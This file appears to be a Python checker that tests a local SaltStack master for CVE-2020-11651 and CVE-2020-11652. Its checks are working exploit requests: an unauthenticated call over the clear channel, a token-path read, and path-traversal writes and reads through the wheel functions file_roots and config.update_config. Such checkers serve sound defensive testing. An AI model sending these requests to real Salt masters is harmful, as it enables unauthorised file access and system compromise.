from __future__ import absolute_import, print_function, unicode_literals
import os
import sys
import platform

import salt
import salt.version
import salt.transport.client
import salt.exceptions
from io import open as fopen

# enable debug mode
DEBUG = (len(sys.argv) and sys.argv[-1] == 'DEBUG')

# --- settings ---
master_ip = '127.0.0.1'
master_port = '4506'

minion_config = {
    'transport': 'zeromq',
    'pki_dir': '/tmp',
    'id': 'root',
    'master_ip': master_ip,
    'master_port': master_port,
    'auth_timeout': 5,
    'auth_tries': 1,
    'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
}

with fopen('/var/cache/salt/master/.root_key') as keyfd:
  root_key = keyfd.read()

top_secret_file_path = '/tmp/salt_cve_teta'

clear_channel = salt.transport.client.ReqChannel.factory(
    minion_config, crypt='clear')

# --- helpers ---

def create_file(path):
    with fopen(path, 'w') as fd:
      fd.write("top secret")

def remove_file(path, raise_on_error=True):
    try:
        os.remove(path)
    except OSError:
        if raise_on_error:
            raise

# --- check funcs ----

def check_salt_version():
  print("[+] Python version: {0}".format(platform.python_version()))
  print("[+] Salt version: {0}".format(salt.version.__version__))

  vi = salt.version.__version_info__

  if (vi < (2019, 2, 4)
     or (3000,) <= vi < (3000, 2)):
     print("[ ] This version of salt is vulnerable! Check results below")

def check_connection():
  print("[+] Checking salt-master ({0}:{1}) status... ".format(master_ip, master_port), end='')
  sys.stdout.flush()

  # connection check
  try:
    clear_channel.send({'cmd':'ping'}, timeout=1, tries=5)
  except salt.exceptions.SaltReqTimeoutError:
    print("OFFLINE")
    sys.exit(1)
  else:
    print("ONLINE")

def check_CVE_2020_11651():
  print("[+] Checking if vulnerable to CVE-2020-11651... ", end='')
  sys.stdout.flush()
  # try to evil
  try:
    rets = clear_channel.send({'cmd': '_do_evil_things'}, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("YES")
    return 1
  except:
    print("ERROR")
    raise
  else:
    if rets:
        print("Maybe?")
        print(rets)
    else:
        print("NO")
  return 0

def check_CVE_2020_11652_read_token():
  print("[+] Checking if vulnerable to CVE-2020-11652 (read_token)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'cmd': 'get_token',
    'arg': [],
    'token': top_secret_file_path,
  }

  create_file(top_secret_file_path)

  try:
    rets = clear_channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("YES")
    return 1
  except:
    print("ERROR")
    raise
  else:
    if DEBUG:
      print()
      print(rets)
    print("NO")
  return 0

def check_CVE_2020_11652_read():
  print("[+] Checking if vulnerable to CVE-2020-11652 (read)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'file_roots.read',
    'path': top_secret_file_path,
  }

  create_file(top_secret_file_path)

  try:
    rets = clear_channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("TIMEOUT")
    return 1
  except:
    print("ERROR")
    raise
  else:
    if DEBUG:
      print()
      print(rets)
    if rets['data']['return']:
      print("YES")
      return 1
    else:
      print("NO")
  return 0

def check_CVE_2020_11652_write1():
  print("[+] Checking if vulnerable to CVE-2020-11652 (write1)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'file_roots.write',
    'path': '../../../../../../../../tmp/salt_CVE_2020_11652',
    'data': 'evil',
  }

  test_file_path = '/tmp/salt_CVE_2020_11652'
  remove_file(test_file_path, raise_on_error=False)

  try:
    rets = clear_channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("TIMEOUT")
    return 1
  except:
    print("ERROR")
    raise
  else:
    if DEBUG:
      print()
      print(rets)

    if rets['data']['return'].startswith('Wrote'):
      try:
        os.remove(test_file_path)
      except OSError:
        print("Maybe?")
      else:
        print("YES")
      return 1
    else:
      print("NO")
  return 0

def check_CVE_2020_11652_write2():
  print("[+] Checking if vulnerable to CVE-2020-11652 (write2)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'config.update_config',
    'file_name': '../../../../../../../../tmp/salt_CVE_2020_11652',
    'yaml_contents': 'evil',
  }

  test_file_path = '/tmp/salt_CVE_2020_11652.conf'
  remove_file(test_file_path, raise_on_error=False)

  try:
    rets = clear_channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("TIMEOUT")
    return 1
  except:
    print("ERROR")
    raise
  else:
    if DEBUG:
      print()
      print(rets)

    if rets['data']['return'].startswith('Wrote'):
      try:
        os.remove(test_file_path)
      except OSError:
        print("Maybe?")
      else:
        print("YES")
      return 1
    else:
      print("NO")
  return 0

# --- run checks ---

check_salt_version()
check_connection()

retn = 0

retn |= check_CVE_2020_11651()
retn |= check_CVE_2020_11652_read_token()
retn |= check_CVE_2020_11652_read()
retn |= check_CVE_2020_11652_write1()
retn |= check_CVE_2020_11652_write2()

# --- clean up ---
remove_file(top_secret_file_path, raise_on_error=False)
print('[ ] All checks completed.')

sys.exit(retn)